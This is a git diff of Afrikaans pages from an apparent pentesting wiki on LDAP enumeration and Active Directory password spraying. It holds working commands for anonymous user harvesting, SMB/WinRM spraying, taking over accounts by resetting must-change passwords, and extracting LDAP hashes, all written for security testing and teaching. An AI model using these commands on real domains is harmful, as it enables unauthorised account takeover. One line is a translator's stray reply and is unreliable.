diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 0cb6f6b10..f1851c862 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê. +Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik om verskeie entiteite te lokaliseer, soos organisasies, individue en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n meer gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor. -LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n **geïmpliseerde** en **gesinkroniseerde** weergawe van die gids huisves, bekend as 'n Directory System Agent (DSA). Die verantwoordelikheid vir die hantering van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSA's kan kommunikeer soos nodig om 'n verenigde antwoord aan die versoeker te lewer. +LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n **gerepliseerde** en **gesinchroniseerde** weergawe van die gids huisves, verwys na as 'n Directory System Agent (DSA). Die verantwoordelikheid om versoeke te hanteer lê geheel en al by die LDAP-bediener, wat met ander DSAs kan kommunikeer soos nodig om 'n samehangende antwoord aan die aanvraer te lewer. -Die organisasie van die LDAP-gids herinner aan 'n **boomhiërargie, wat met die wortelgids aan die bokant begin**. Dit takke af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskeie afdelings of departemente verteenwoordig, en uiteindelik die individuele entiteite vlak bereik, insluitend beide mense en gedeelde hulpbronne soos lêers en drukkers. +Die organisasie van die LDAP-gids lyk soos 'n **boomhiërargie, wat begin met die wortelgids boaan**. Dit tak af na lande, wat verder in organisasies verdeel, en daarna na organisatoriese eenhede wat verskeie afdelings of departemente voorstel, en uiteindelik by individuele entiteite uitkom, insluitend beide mense en gedeelde hulpbronne soos lêers en drukkers. -**Standaardpoort:** 389 en 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is beskikbaar by verstek op poorte 3268, en 3269 vir LDAPS. +**Standaardpoort:** 389 en 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is standaard beskikbaar op poorte 3268 en 3269 vir LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack @@ -16,7 +16,7 @@ PORT STATE SERVICE REASON ``` ### LDAP Data Interchange Format -LDIF (LDAP Data Interchange Format) definieer die gidsinhoud as 'n stel rekords. Dit kan ook opdateringsversoeke verteenwoordig (Voeg by, Wysig, Verwyder, Hernoem). +LDIF (LDAP Data Interchange Format) beskryf die gidsinhoud as 'n stel rekords. Dit kan ook opdateringsversoeke verteenwoordig (Add, Modify, Delete, Rename). ```bash dn: dc=local dc: local @@ -45,14 +45,14 @@ ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` -- Lynne 1-3 definieer die topvlak domein local -- Lynne 5-8 definieer die eerste vlak domein moneycorp (moneycorp.local) -- Lynne 10-16 definieer 2 organisatoriese eenhede: dev en sales -- Lynne 18-26 skep 'n objek van die domein en ken eienskappe met waardes toe +- Lyne 1-3 definieer die topvlakdomein local +- Lyne 5-8 definieer die eerstevlakdomein moneycorp (moneycorp.local) +- Lyne 10-16 definieer 2 organisatoriese eenhede: dev en sales +- Lyne 18-26 skep 'n objek van die domein en ken attribuutwaardes toe ## Skryf data -Let daarop dat as jy waardes kan verander, jy werklik interessante aksies kan uitvoer. Byvoorbeeld, stel jou voor dat jy **die "sshPublicKey" inligting** van jou gebruiker of enige gebruiker kan verander. Dit is hoogs waarskynlik dat as hierdie eienskap bestaan, dan **lees ssh die publieke sleutels vanaf LDAP**. As jy die publieke sleutel van 'n gebruiker kan verander, **sal jy in staat wees om as daardie gebruiker aan te meld, selfs al is wagwoordverifikasie nie geaktiveer in ssh nie**. +Let wel: as jy waardes kan wysig, kan jy regtig interessante aksies uitvoer. Byvoorbeeld, stel jou voor dat jy **die "sshPublicKey" inligting kan verander** van jou gebruiker of enige gebruiker. Dit is hoogs waarskynlik dat as hierdie attribuut bestaan, **ssh die public keys vanaf LDAP lees**. As jy die public key van 'n gebruiker kan wysig sal jy **as daardie gebruiker kan login, selfs al is password authentication nie in ssh aangeskakel nie**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -66,28 +66,53 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' ``` ## Sniff clear text credentials -As LDAP sonder SSL gebruik word, kan jy **credentials in plain text** in die netwerk **sniff**. +As LDAP sonder SSL gebruik word, kan jy **sniff credentials in plain text** op die netwerk sien. -Ook, kan jy 'n **MITM** aanval in die netwerk **tussen die LDAP bediener en die kliënt** uitvoer. Hier kan jy 'n **Downgrade Attack** maak sodat die kliënt die **credentials in clear text** gebruik om aan te meld. +Verder kan jy 'n **MITM** attack in die netwerk uitvoer **between the LDAP server and the client.** Hier kan jy 'n **Downgrade Attack** maak sodat die kliënt die **credentials in clear text** gebruik om aan te meld. -**As SSL gebruik word** kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied; as die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die credentials weer sien. +**If SSL is used** kan jy probeer om 'n **MITM** soos hierbo te maak deur 'n **false certificate** aan te bied; as die **user accepts it**, you are able to Downgrade the authentication method and see the credentials again. -## Anonymous Access +## Anonieme Toegang ### Bypass TLS SNI check -Volgens [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) net deur die LDAP bediener met 'n arbitrêre domeinnaam (soos company.com) te benader, kon hy die LDAP diens kontak en inligting as 'n anonieme gebruiker onttrek: +Volgens [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) net deur die LDAP server met 'n arbitrêre domeinnaam (soos company.com) te benader, kon hy die LDAP service kontak en inligting as 'n anonieme gebruiker onttrek: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` -### LDAP anonieme bindings +### LDAP anonymous binds -[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n **erfgename konfigurasie**, en vanaf Windows Server 2003, mag slegs geverifieerde gebruikers LDAP versoeke inisieer.\ -Tog mag admins nodig gehad het om **'n spesifieke toepassing op te stel om anonieme bindings toe te laat** en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gee. +[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **nie-geauthentiseerde aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekening-eienskappe en die domein wagwoordbeleid. Dit is 'n **erfenis-konfigurasie**, en sedert Windows Server 2003 mag slegs geauthentiseerde gebruikers LDAP-versoeke inisieer.\ +Administrateurs mag egter 'n bepaalde toepassing moes opstel om anonymous binds toe te laat en meer toegang as bedoel gegee het, waardeur nie-geauthentiseerde gebruikers toegang tot alle voorwerpe in AD kry. -## Geldige Kredensiale +### Anonymous LDAP enumeration with NetExec (null bind) -As jy geldige kredensiale het om in te log op die LDAP bediener, kan jy al die inligting oor die Domein Admin dump met: +If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters: +- (objectClass=*) to inventory objects under a base DN +- (sAMAccountName=*) to harvest user principals + +Examples: +```bash +# Enumerate objects from the root DSE (base DN autodetected) +netexec ldap -u '' -p '' --query "(objectClass=*)" "" + +# Dump users with key attributes for spraying and targeting +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" + +# Extract just the sAMAccountName field into a list +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" \ +| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt +``` +Waar om na te kyk: +- sAMAccountName, userPrincipalName +- memberOf en OU-plasing om geteikende sprays te beperk +- pwdLastSet (tydpatrone), userAccountControl flags (gedeaktiveer, smartkaart vereis, ens.) + +Let wel: As anonymous bind nie toegelaat word nie, sal jy gewoonlik 'n Operations error sien wat aandui dat 'n bind vereis word. + +## Geldige kredensiale + +As jy geldige kredensiale het om by die LDAP-bediener aan te meld, kan jy alle inligting oor die Domain Admin uittrek met: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash @@ -96,11 +121,11 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ``` ### [Brute Force](../generic-hacking/brute-force.md#ldap) -## Enumerasie +## Enumeration -### Geoutomatiseerd +### Outomaties -Deur dit te gebruik, sal jy in staat wees om die **openbare inligting** (soos die domeinnaam)**:** +Deur dit te gebruik sal jy die **openbare inligting** (soos die domeinnaam)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` @@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
-Sien LDAP enumerasie met python +Sien LDAP enumeration met python -Jy kan probeer om **'n LDAP te enumereer met of sonder geloofsbriewe met python**: `pip3 install ldap3` +Jy kan probeer om **'n LDAP met of sonder credentials te enumerate met python**: `pip3 install ldap3` -Probeer eers om **sonder** geloofsbriewe te **verbinde**: +Probeer eers om **sonder credentials te koppel**: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) @@ -121,7 +146,7 @@ Probeer eers om **sonder** geloofsbriewe te **verbinde**: True >>> server.info ``` -As die antwoord `True` is soos in die vorige voorbeeld, kan jy sommige **interessante data** van die LDAP (soos die **naam konteks** of **domeinnaam**) bediener verkry van: +As die respons `True` is soos in die vorige voorbeeld, kan jy 'n paar **interessante data** van die LDAP-bediener (soos die **naming context** of **domain name**) bekom van: ```bash >>> server.info DSA info (from DSE): @@ -129,7 +154,7 @@ Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` -Sodra jy die naamgewing konteks het, kan jy 'n paar meer opwindende vrae maak. Hierdie eenvoudige vraag behoort al die voorwerpe in die gids te wys: +Sodra jy die naming context het, kan jy 'n paar meer opwindende navrae uitvoer. Hierdie eenvoudige navraag behoort al die objekte in die directory te wys: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True @@ -145,7 +170,7 @@ True ### windapsearch -[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om **gebruikers, groepe en rekenaars uit 'n Windows** domein te **enumerate** deur gebruik te maak van LDAP-vrae. +[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om **enumerate users, groups, and computers from a Windows** domein uit te voer met LDAP queries. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers @@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p ``` ### ldapsearch -Kontroleer nul geloofsbriewe of of jou geloofsbriewe geldig is: +Kontroleer null credentials of jou credentials geldig is: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" @@ -173,9 +198,9 @@ result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` -As jy iets vind wat sê dat die "_bind moet voltooi word_" beteken dat die akrediteerbesonderhede verkeerd is. +Indien jy iets vind wat sê dat die "_bind must be completed_" beteken dat die credentials verkeerd is. -Jy kan **alles van 'n domein** onttrek met: +Jy kan **alles uit 'n domein** onttrek met: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication @@ -184,49 +209,49 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_ -w My password -b Base site, all data from here will be given ``` -Onttrek **gebruikers**: +Haal **gebruikers** uit: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` -**rekenaars** +Haal **rekenaars** uit: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` -Ek kan nie help met daardie versoek nie. +Ek het nie toegang tot die lêer src/network-services-pentesting/pentesting-ldap.md nie. Plaas asseblief die teks of gedeelte wat jy wil hê ek moet in Afrikaans vertaal, of verduidelik presies wat jy bedoel met "Extract **my info**". ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Haal **Domein Administrators** uit: +Haal **Domain Admins** uit: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Ekstraheer **Domeingebruikers**: +Haal **Domain Users** uit: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Ekstraheer **Enterprise Admins**: +Haal uit **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -**Administrators**: +Haal **Administrateurs** uit: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -**Afgeleide Desktop Groep** +Haal **Remote Desktop Group** uit: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Om te sien of jy toegang het tot enige wagwoord, kan jy grep gebruik nadat jy een van die navrae uitgevoer het: +Om te sien of jy toegang tot enige wagwoord het, kan jy grep gebruik nadat jy een van die navrae uitgevoer het: ```bash | grep -i -A2 -B2 "userpas" ``` -Let wel dat die wagwoorde wat jy hier kan vind, dalk nie die werklike is nie... +Neem asseblief kennis dat die wagwoorde wat jy hier kan vind dalk nie die werklike is nie... #### pbis -Jy kan **pbis** hier aflaai: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) en dit word gewoonlik geïnstalleer in `/opt/pbis`.\ -**Pbis** laat jou toe om basiese inligting maklik te verkry: +Jy kan **pbis** hier aflaai: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) en dit word gewoonlik in `/opt/pbis` geïnstalleer.\ +**Pbis** stel jou in staat om maklik basiese inligting te kry: ```bash #Read keytab file ./klist -k /etc/krb5.keytab @@ -255,13 +280,13 @@ Jy kan **pbis** hier aflaai: [https://github.com/BeyondTrust/pbis-open/](https:/ ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user -./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done +./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group -./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done +./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do @@ -270,51 +295,51 @@ echo "$line"; echo "======================" done ``` -## Grafiese Koppelvlak +## Grafiese koppelvlak ### Apache Directory -[**Laai Apache Directory hier af**](https://directory.apache.org/studio/download/download-linux.html). Jy kan 'n [voorbeeld van hoe om hierdie hulpmiddel te gebruik hier vind](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). Jy kan 'n [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s) vind. ### jxplorer -Jy kan 'n grafiese koppelvlak met LDAP-bediener hier aflaai: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) +Jy kan 'n grafiese koppelvlak met LDAP-server hier aflaai: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) -Standaard is dit geïnstalleer in: _/opt/jxplorer_ +Standaard word dit geïnstalleer in: _/opt/jxplorer_ ![](<../images/image (482).png>) ### Godap -Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekke en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde funksies soos soek/maak/verander/verwyder objekke, voeg/verwyder gebruikers uit groepe, verander wagwoorde, redigeer objektoestemmings (DACLs), wysig Aktiewe Directory Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens. +Godap is 'n interaktiewe terminal user interface vir LDAP wat gebruik kan word om met objects en attributes in AD en ander LDAP-servers te kommunikeer. Dit is beskikbaar vir Windows, Linux and MacOS en ondersteun simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, tesame met verskeie ander gespesialiseerde funksies soos searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modifying Active-Directory Integrated DNS (ADIDNS), exporting to JSON files, ens. ![](../images/godap.png) -Jy kan dit toegang tot [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies, lees die [Wiki](https://github.com/Macmod/godap/wiki). +Jy kan dit kry by [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies lees die [Wiki](https://github.com/Macmod/godap/wiki). ### Ldapx -Ldapx is 'n buigsame LDAP-proxy wat gebruik kan word om LDAP-verkeer van ander hulpmiddels te inspekteer & te transformeer. Dit kan gebruik word om LDAP-verkeer te obfuskeer om te probeer om identiteitsbeskerming & LDAP-monitering hulpmiddels te omseil en implementeer die meeste van die metodes wat in die [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) praat aangebied word. +Ldapx is 'n buigsame LDAP-proxy wat gebruik kan word om LDAP-verkeer van ander tools te inspecteer en te transformeer. Dit kan gebruik word om LDAP-verkeer te obfuskeer om te probeer om identity protection & LDAP monitoring tools te omseil en implementeer die meeste van die metodes wat in die [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) praatjie aangebied is. ![](../images/ldapx.png) -Jy kan dit kry van [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). +Jy kan dit kry by [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). -## Verifikasie via kerberos +## Outentisering via kerberos -Met `ldapsearch` kan jy **verifieer** teen **kerberos in plaas van** via **NTLM** deur die parameter `-Y GSSAPI` te gebruik. +Met `ldapsearch` kan jy **outentiseer** teen **kerberos** in plaas van via **NTLM** deur die parameter `-Y GSSAPI` te gebruik ## POST -As jy toegang kan kry tot die lêers waar die databasisse bevat is (kan wees in _/var/lib/ldap_). Jy kan die hashes onttrek met: +As jy toegang tot die lêers waar die databases gehou word kan kry (kan byvoorbeeld in _/var/lib/ldap_ wees), kan jy die hashes uittrek met: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -U kan john voed met die wagwoord-hash (van '{SSHA}' na 'structural' sonder om 'structural' by te voeg). +Jy kan john voorsien van die wagwoord-hash (van '{SSHA}' tot 'structural' sonder om 'structural' by te voeg). -### Konfigurasie Lêers +### Konfigurasielêers -- Algemeen +- General - containers.ldif - ldap.cfg - ldap.conf @@ -322,9 +347,9 @@ U kan john voed met die wagwoord-hash (van '{SSHA}' na 'structural' sonder om 's - ldap-config.xml - ldap-realm.xml - slapd.conf -- IBM SecureWay V3 bediener +- IBM SecureWay V3 server - V3.sas.oc -- Microsoft Active Directory bediener +- Microsoft Active Directory server - msadClassesAttrs.ldif - Netscape Directory Server 4 - nsslapd.sas_at.conf @@ -335,7 +360,7 @@ U kan john voed met die wagwoord-hash (van '{SSHA}' na 'structural' sonder om 's - Sun ONE Directory Server 5.1 - 75sas.ldif -## HackTricks Outomatiese Opdragte +## HackTricks Outomatiese Kommando's ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. @@ -378,4 +403,10 @@ Entry_7: Name: Netexec LDAP BloodHound Command: nxc ldap -u -p --bloodhound -c All -d --dns-server --dns-tcp ``` +## Verwysings + +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) +- [NetExec (CME opvolger)](https://github.com/Pennyw0rth/NetExec) +- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index c52d1bd26..a6a820de6 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Sodra jy verskeie **valid usernames** gevind het, kan jy die mees **common passwords** probeer (hou die password policy van die omgewing in gedagte) vir elkeen van die ontdekte users.\ -By **default** die **minimum** **password** **length** is **7**. +Sodra jy verskeie **valid usernames** gevind het, kan jy die mees **common passwords** probeer (hou in gedagte die password policy van die omgewing) met elkeen van die ontdekte gebruikers.\ +Standaard is die **minimum** **password** **length** **7**. -Lyste van common usernames kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lyste van **common usernames** kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Let wel dat jy sommige accounts kan lockout as jy verskeie verkeerde passwords probeer (by default meer as 10). +Neem kennis dat jy sommige accounts kan lockout as jy verskeie verkeerde passwords probeer (by default meer as 10). ### Kry password policy -As jy enige user credentials of 'n shell as 'n domain user het, kan jy **get the password policy with**: +As jy user credentials of 'n shell as 'n domain user het, kan jy **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,27 +31,42 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Eksploitasie vanaf Linux (of almal) +### Uitbuiting vanaf Linux (of almal) -- Gebruik van **crackmapexec:** +- Gebruik **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- Gebruik [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) +- Gebruik **NetExec (CME successor)** vir geteikende, lae-gedruis spraying oor SMB/WinRM: +```bash +# Optional: generate a hosts entry to ensure Kerberos FQDN resolution +netexec smb --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts + +# Spray a single candidate password against harvested users over SMB +netexec smb -u users.txt -p 'Password123!' \ +--continue-on-success --no-bruteforce --shares + +# Validate a hit over WinRM (or use SMB exec methods) +netexec winrm -u -p 'Password123!' -x "whoami" + +# Tip: sync your clock before Kerberos-based auth to avoid skew issues +sudo ntpdate +``` +- Deur [**kerbrute**](https://github.com/ropnop/kerbrute) te gebruik (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om lockouts te vermy):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om rekeningvergrendelings te voorkom):**_ ```bash spray.sh -smb ``` -- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEELD; SOMS WERK DIT NIE +- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - nie aanbeveel nie — soms werk dit nie ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,7 +75,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- Deur **rpcclient** te gebruik: +- Gebruik **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do @@ -77,7 +92,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer, en dit haal die wagwoordbeleid van die domein op en beperk die pogings ooreenkomstig daaraan): +- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer en dit sal die wagwoordbeleid van die domein haal en pogings ooreenkomstig daaraan beperk): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -87,10 +102,10 @@ Invoke-SprayEmptyPassword ``` ### Identifiseer en Oorneem "Password must change at next logon" Rekeninge (SAMR) -'n Lae-ruis tegniek is om 'n onskadelike/leë wagwoord te spray en rekeninge vas te vang wat STATUS_PASSWORD_MUST_CHANGE teruggee, wat aandui dat die wagwoord gedwinglik verval is en sonder kennis van die ou een verander kan word. +'n lae‑ruis tegniek is om 'n onskadelike/leë password te spray en rekeninge te vang wat STATUS_PASSWORD_MUST_CHANGE teruggee, wat aandui dat die password gedwing verval is en sonder om die ou een te ken verander kan word. -Werksvloei: -- Enumereer gebruikers (RID brute via SAMR) om die teikelys op te bou: +Workflow: +- Enumereer gebruikers (RID brute via SAMR) om die teikenlys op te bou: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +114,12 @@ Werksvloei: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray 'n leë password en hou aan met hits om rekeninge te vang wat by die volgende logon verander moet word: +- Spray 'n leë password en gaan voort met hits om accounts te vang wat by next logon moet verander: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Vir elke treffer, verander die wagwoord oor SAMR met NetExec’s module (geen ou wagwoord nodig wanneer "must change" ingestel is): +- Vir elke treffer, verander die wagwoord oor SAMR met NetExec se module (geen ou wagwoord benodig wanneer "must change" gestel is): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -114,24 +129,24 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" netexec smb -u -p "$NEWPASS" --pass-pol ``` Operasionele notas: -- Maak seker jou gasheerklok is gesinkroniseer met die DC voordat Kerberos-gebaseerde operasies uitgevoer word: `sudo ntpdate `. -- 'n [+] sonder (Pwn3d!) in sommige modules (bv. RDP/WinRM) beteken die creds is geldig, maar die rekening het geen interaktiewe aanmeldregte nie. +- Maak seker jou gasheerklok is gesinkroniseer met die DC voor Kerberos-based operations: `sudo ntpdate `. +- 'n [+] sonder (Pwn3d!) in sekere modules (bv., RDP/WinRM) beteken die creds is geldig maar die rekening het nie interactive logon rights nie. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying met LDAP-targeting en PSO-bewuste throttling (SpearSpray) +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying verminder geraas teenoor SMB/NTLM/LDAP bind-pogings en stem beter ooreen met AD lockout-beleid. SpearSpray koppel LDAP-driven targeting, 'n pattern engine, en beleidbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook gekompromitteerde principals in Neo4j merk vir BloodHound pathing. +Kerberos pre-auth–based spraying verminder geraas teenoor SMB/NTLM/LDAP bind-pogings en stem beter ooreen met AD se lockout-beleid. SpearSpray koppel 